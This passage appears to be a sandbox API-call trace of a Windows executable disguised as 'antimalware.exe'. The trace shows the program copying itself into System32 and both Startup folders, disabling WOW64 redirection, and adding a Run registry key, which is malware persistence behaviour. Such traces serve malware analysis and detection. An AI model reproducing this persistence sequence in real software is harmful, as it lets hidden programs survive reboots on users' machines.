	[0177.311] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ddcb0 | out: hHeap=0x6a0000) returned 1
	[0177.311] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x6e6560
	[0177.312] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x6f6568
	[0177.312] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6e3dc0
	[0177.312] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e3dc0, Size=0x20) returned 0x6ddcb0
	[0177.312] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6ddcb0, Size=0x40) returned 0x6b78b0
	[0177.312] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6e3e98
	[0177.312] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e3e98, Size=0x20) returned 0x6ddbc0
	[0177.312] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6e3fb8
	[0177.313] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e3fb8, Size=0x20) returned 0x6ddda0
	[0177.313] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6e3f40
	[0177.313] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e3f40, Size=0x20) returned 0x6ddd00
	[0177.313] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6ddd00, Size=0x40) returned 0x6b7c10
	[0177.313] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6f6568, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 0x8f
	[0177.313] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x706570
	[0177.313] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x716578
	[0177.314] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6e4048
	[0177.314] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e4048, Size=0x20) returned 0x6dd9e0
	[0177.314] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6dd9e0, Size=0x40) returned 0x6b7a18
	[0177.314] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b7a18, Size=0x80) returned 0x6e3108
	[0177.314] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e3108, Size=0x100) returned 0x6e4300
	[0177.314] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0177.314] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e4300 | out: hHeap=0x6a0000) returned 1
	[0177.314] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe", lpDst=0x706570, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\System32\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 0x67
	[0177.314] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x716578 | out: hHeap=0x6a0000) returned 1
	[0177.314] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x706570 | out: hHeap=0x6a0000) returned 1
	[0177.315] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x100000) returned 0x24ed020
	[0177.318] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6e4078
	[0177.318] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e4078, Size=0x20) returned 0x6ddaa8
	[0177.318] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6e4018
	[0177.318] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e4018, Size=0x20) returned 0x6dda58
	[0177.318] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x763a0000
	[0177.318] GetProcAddress (hModule=0x763a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x763b6b30
	[0177.318] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x0) returned 1
	[0177.319] lstrlenW (lpString="kernel32.dll") returned 12
	[0177.319] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ddaa8 | out: hHeap=0x6a0000) returned 1
	[0177.319] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0177.319] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dda58 | out: hHeap=0x6a0000) returned 1
	[0177.319] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0177.319] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe" (normalized: "c:\\windows\\system32\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0177.337] ReadFile (in: hFile=0x240, lpBuffer=0x24ed020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x24ed020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1
	[0177.489] WriteFile (in: hFile=0x244, lpBuffer=0x24ed020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x24ed020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1
	[0177.673] ReadFile (in: hFile=0x240, lpBuffer=0x24ed020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x24ed020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1
	[0177.673] CloseHandle (hObject=0x244) returned 1
	[0177.673] CloseHandle (hObject=0x240) returned 1
	[0177.673] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6e3df0
	[0177.673] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e3df0, Size=0x20) returned 0x6ddc60
	[0177.673] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6e3dc0
	[0177.673] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e3dc0, Size=0x20) returned 0x6ddaf8
	[0177.673] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x763a0000
	[0177.673] GetProcAddress (hModule=0x763a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x763b6b30
	[0177.673] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0177.673] lstrlenW (lpString="kernel32.dll") returned 12
	[0177.674] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ddaf8 | out: hHeap=0x6a0000) returned 1
	[0177.674] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0177.674] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ddc60 | out: hHeap=0x6a0000) returned 1
	[0177.674] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x24ed020 | out: hHeap=0x6a0000) returned 1
	[0177.679] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6e4018
	[0177.679] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e4018, Size=0x20) returned 0x6ddaa8
	[0177.679] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6ddaa8, Size=0x40) returned 0x6b7988
	[0177.679] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b7988, Size=0x80) returned 0x6e2b30
	[0177.679] lstrlenW (lpString="C:\\WINDOWS\\System32\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 102
	[0177.679] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0177.679] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x5c) returned 0x6e5220
	[0177.679] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x19fd64 | out: phkResult=0x19fd64*=0x240) returned 0x0
	[0177.680] RegSetValueExW (in: hKey=0x240, lpValueName="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe", Reserved=0x0, dwType=0x1, lpData="C:\\WINDOWS\\System32\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe", cbData=0xcc | out: lpData="C:\\WINDOWS\\System32\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 0x0
	[0177.680] RegCloseKey (hKey=0x240) returned 0x0
	[0177.680] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e5220 | out: hHeap=0x6a0000) returned 1
	[0177.680] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0177.680] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e2b30 | out: hHeap=0x6a0000) returned 1
	[0177.680] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x706570
	[0177.681] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x716578
	[0177.681] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6e3dc0
	[0177.681] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e3dc0, Size=0x20) returned 0x6dd968
	[0177.681] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6dd968, Size=0x40) returned 0x6b7aa8
	[0177.681] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b7aa8, Size=0x80) returned 0x6e3438
	[0177.681] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e3438, Size=0x100) returned 0x6e4300
	[0177.681] lstrlenW (lpString="") returned 0
	[0177.681] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0177.681] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x8c) returned 0x6e5050
	[0177.681] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x240) returned 0x0
	[0177.681] RegQueryValueExW (in: hKey=0x240, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x716578, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x0, lpData=0x716578*=0x53, lpcbData=0x19fd48*=0x7fff) returned 0x2
	[0177.681] RegCloseKey (hKey=0x240) returned 0x0
	[0177.681] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e5050 | out: hHeap=0x6a0000) returned 1
	[0177.681] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0177.681] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x8c) returned 0x6e5050
	[0177.681] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0
	[0177.682] RegQueryValueExW (in: hKey=0x244, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x716578, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x98) returned 0x0
	[0177.682] RegCloseKey (hKey=0x244) returned 0x0
	[0177.682] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e5050 | out: hHeap=0x6a0000) returned 1
	[0177.682] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75
	[0177.682] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0177.682] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e4300 | out: hHeap=0x6a0000) returned 1
	[0177.682] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe", lpDst=0x706570, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 0xa1
	[0177.682] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x716578 | out: hHeap=0x6a0000) returned 1
	[0177.683] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x706570 | out: hHeap=0x6a0000) returned 1
	[0177.683] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x100000) returned 0x24e4020
	[0177.687] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6e3e50
	[0177.687] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e3e50, Size=0x20) returned 0x6ddad0
	[0177.687] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6e3fb8
	[0177.687] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e3fb8, Size=0x20) returned 0x6dd8f0
	[0177.687] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x763a0000
	[0177.687] GetProcAddress (hModule=0x763a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x763b6b30
	[0177.687] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0177.687] lstrlenW (lpString="kernel32.dll") returned 12
	[0177.687] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ddad0 | out: hHeap=0x6a0000) returned 1
	[0177.687] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0177.687] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dd8f0 | out: hHeap=0x6a0000) returned 1
	[0177.687] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0177.687] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248
	[0177.933] ReadFile (in: hFile=0x244, lpBuffer=0x24e4020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x24e4020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1
	[0177.946] WriteFile (in: hFile=0x248, lpBuffer=0x24e4020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x24e4020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1
	[0177.955] ReadFile (in: hFile=0x244, lpBuffer=0x24e4020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x24e4020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1
	[0177.955] CloseHandle (hObject=0x248) returned 1
	[0178.096] CloseHandle (hObject=0x244) returned 1
	[0178.096] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6e3df0
	[0178.096] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e3df0, Size=0x20) returned 0x6dd8f0
	[0178.096] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6e3f28
	[0178.096] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e3f28, Size=0x20) returned 0x6ddad0
	[0178.096] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x763a0000
	[0178.096] GetProcAddress (hModule=0x763a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x763b6b30
	[0178.096] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0178.096] lstrlenW (lpString="kernel32.dll") returned 12
	[0178.096] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ddad0 | out: hHeap=0x6a0000) returned 1
	[0178.096] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0178.096] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dd8f0 | out: hHeap=0x6a0000) returned 1
	[0178.096] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x24e4020 | out: hHeap=0x6a0000) returned 1
	[0178.102] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x706570
	[0178.102] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x716578
	[0178.103] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6e4018
	[0178.103] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e4018, Size=0x20) returned 0x6ddcd8
	[0178.103] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6ddcd8, Size=0x40) returned 0x6b77d8
	[0178.103] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b77d8, Size=0x80) returned 0x6e3548
	[0178.103] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e3548, Size=0x100) returned 0x6e4300
	[0178.103] lstrlenW (lpString="") returned 0
	[0178.103] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0178.103] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x8c) returned 0x6e5050
	[0178.103] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0
	[0178.103] RegQueryValueExW (in: hKey=0x244, lpValueName="Common Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x716578, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x78) returned 0x0
	[0178.103] RegCloseKey (hKey=0x244) returned 0x0
	[0178.103] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e5050 | out: hHeap=0x6a0000) returned 1
	[0178.103] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59
	[0178.103] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0178.103] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e4300 | out: hHeap=0x6a0000) returned 1
	[0178.103] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe", lpDst=0x706570, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 0x90
	[0178.103] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x716578 | out: hHeap=0x6a0000) returned 1
	[0178.104] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x706570 | out: hHeap=0x6a0000) returned 1
	[0178.104] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x100000) returned 0x24ef020
	[0178.107] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6e4000
	[0178.107] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e4000, Size=0x20) returned 0x6ddcb0
	[0178.108] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6e3eb0
	[0178.108] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e3eb0, Size=0x20) returned 0x6dd968
	[0178.108] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x763a0000
	[0178.108] GetProcAddress (hModule=0x763a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x763b6b30
	[0178.108] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0178.108] lstrlenW (lpString="kernel32.dll") returned 12
	[0178.108] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ddcb0 | out: hHeap=0x6a0000) returned 1
	[0178.108] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0178.108] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dd968 | out: hHeap=0x6a0000) returned 1
	[0178.108] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0178.108] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0178.108] CloseHandle (hObject=0x244) returned 1
	[0178.108] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6e3eb0
	[0178.109] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e3eb0, Size=0x20) returned 0x6ddd00
	[0178.109] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6e4060
	[0178.109] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e4060, Size=0x20) returned 0x6ddbe8
	[0178.109] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x763a0000
	[0178.109] GetProcAddress (hModule=0x763a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x763b6b30
	[0178.109] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0178.109] lstrlenW (lpString="kernel32.dll") returned 12
	[0178.109] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ddbe8 | out: hHeap=0x6a0000) returned 1
	[0178.109] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0178.109] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ddd00 | out: hHeap=0x6a0000) returned 1
	[0178.109] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x24ef020 | out: hHeap=0x6a0000) returned 1
	[0178.112] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e6560 | out: hHeap=0x6a0000) returned 1
	[0178.112] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f6568 | out: hHeap=0x6a0000) returned 1
	[0178.114] lstrlenW (lpString="%windir%\\System32") returned 17
	[0178.114] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b78b0 | out: hHeap=0x6a0000) returned 1
	[0178.114] lstrlenW (lpString="%appdata%") returned 9
	[0178.114] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ddbc0 | out: hHeap=0x6a0000) returned 1
	[0178.114] lstrlenW (lpString="%sh(Startup)%") returned 13
	[0178.114] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ddda0 | out: hHeap=0x6a0000) returned 1
	[0178.114] lstrlenW (lpString="%sh(Common Startup)%") returned 20
	[0178.114] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b7c10 | out: hHeap=0x6a0000) returned 1
	[0178.114] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6e3ec8
	[0178.114] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e3ec8, Size=0x20) returned 0x6ddcb0
	[0178.114] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6ddcb0, Size=0x40) returned 0x6b7d30
	[0178.114] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b7d30, Size=0x80) returned 0x6e3218
	[0178.114] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6e3f10
	[0178.114] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e3f10, Size=0x20) returned 0x6ddb70
	[0178.114] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1fffc) returned 0x6e6560
	[0178.115] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x706568
	[0178.115] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x716570
	[0178.115] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6e4018
	[0178.115] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e4018, Size=0x20) returned 0x6dd968
	[0178.115] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6dd968, Size=0x40) returned 0x6b7700
	[0178.115] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b7700, Size=0x80) returned 0x6e32a0
	[0178.115] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e32a0, Size=0x100) returned 0x6e4300
	[0178.115] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
